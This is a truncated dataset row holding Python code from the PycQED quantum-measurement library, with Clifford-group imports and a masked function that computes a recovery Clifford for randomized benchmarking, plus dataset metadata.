from pycqed.measurement.randomized_benchmarking.clifford_group import clifford_lookuptable
from pycqed.measurement.randomized_benchmarking.clifford_decompositions import gate_decomposition
from pycqed.measurement.randomized_benchmarking.two_qubit_clif... | normal | {
"blob_id": "038b8206f77b325bf43fc753f6cee8b4278f4bc9",
"index": 785,
"step-1": "<mask token>\n\n\ndef calculate_recovery_clifford(cl_in, desired_cl=0):\n \"\"\"\n Extracts the clifford that has to be applied to cl_in to make the net\n operation correspond to desired_cl from the clifford lookuptable.\n\... | [
3,
5,
6,
7,
8
] |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.